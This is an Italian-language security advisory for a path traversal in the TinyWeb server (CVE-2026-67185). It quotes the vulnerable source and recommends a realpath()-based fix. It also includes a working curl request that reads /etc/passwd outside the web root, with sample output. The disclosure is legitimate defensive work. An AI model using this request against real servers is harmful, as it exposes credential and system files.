
Avviso di Sicurezza: Path Traversal Non Autenticato Consente la Lettura Arbitraria di File (TinyWeb)
ID CVE assegnato: CVE-2026-67185
TinyWeb costruisce il percorso del file da servire unendo la web root con l'URL della richiesta esattamente come arriva, senza alcuna normalizzazione. Un client remoto che non si è mai autenticato può inserire sequenze ../ nella riga di richiesta e leggere qualsiasi file che il processo del server può aprire, inclusi i file al di fuori della web root.
TnyWeb/0.0.80b3b5fd (2019-01-09), dove il percorso viene assemblato per la prima volta in questo modo, fino a a381da2 (2023-11-22, ultimo su master).CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NUn attaccante remoto non autenticato che può raggiungere la porta TCP di ascolto del server (9090 nella configurazione fornita). Non sono richieste credenziali, interazione con l'utente o accesso precedente. Una singola richiesta è sufficiente.
HttpBuilder::buildResponse() parte dalla web root configurata e aggiunge il campo del percorso dell'URL direttamente dalla richiesta analizzata:
// src/tiny_http/http_responser.cc:80
sdsncat(&file_path, server.www.c_str(), server.www.size());
// src/tiny_http/http_responser.cc:83-87
if (url->field_set & (1 << HTTP_UF_PATH)) {
unsigned int off = url->fields[HTTP_UF_PATH].offset;
unsigned int len = url->fields[HTTP_UF_PATH].len;
sdsncat(&file_path, url->data + off, len);
}
// src/tiny_http/http_responser.cc:90-94
std::string f(file_path.data, file_path.len);
file_type = isRegularFile(f);
if (0 == file_type) {
return_val = file->setFile(f); // stat() + open() on the joined path
}
Tra l'unione alla riga 86 e la chiamata al filesystem alla riga 94 non viene eseguita alcuna rimozione dei dot-segment (RFC 3986 sezione 5.2.4), alcuna canonicalizzazione con realpath() e alcun controllo che il risultato rimanga all'interno di server.www.
Anche il parser degli URL non filtra ... In HttpParser::parseUrlChar() lo stato del percorso accetta qualsiasi carattere che superi isUrlChar(), e . è un carattere URL valido, quindi ../ arriva a buildResponse() senza modifiche:
// src/tiny_http/http_parser.cc:653-654
case s_requ_path: //finished
if (isUrlChar(ch))
return s_requ_path;
HttpFile::setFile() apre quindi e serve qualsiasi percorso sia stato prodotto, usando i privilegi del processo del server:
// src/tiny_http/http_model_file.cc:43
return_val = open(name.c_str(), O_RDONLY);
Nota: TinyWeb non esegue mai la decodifica percentuale del percorso dell'URL, quindi %2e%2e%2f non funziona. La forma letterale ../ funziona.
Avviare il server con la configurazione fornita (in ascolto sulla porta 9090, servendo dalla web root configurata).
Inviare una richiesta il cui percorso sale sopra la web root. Il flag --path-as-is impedisce a curl di comprimere il ../ prima dell'invio:
curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
200 OK con il contenuto di /etc/passwd:HTTP/1.1 200 OK
Server: TinyWeb/0.0.8
Transfer-Encoding: chunked
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Il numero di segmenti ../ necessari dipende dalla profondità della web root. Qualsiasi numero pari o superiore alla profondità della web root funziona, perché il kernel ignora .. alla radice del filesystem.
Qualsiasi client remoto può leggere qualsiasi file che il processo del server è autorizzato ad aprire. Nella configurazione predefinita i worker girano come root, quindi questo include /etc/shadow, le chiavi private TLS, i file di configurazione con credenziali e il codice sorgente dell'applicazione stessa sotto la web root.
Canonicalizzare il percorso unito con realpath() e rifiutare la richiesta a meno che il risultato non sia all'interno della web root configurata. Come difesa in profondità, rimuovere i dot-segment durante il parsing dell'URL secondo la RFC 3986 sezione 5.2.4 e decodificare percentualmente il percorso prima che venga eseguita tale normalizzazione.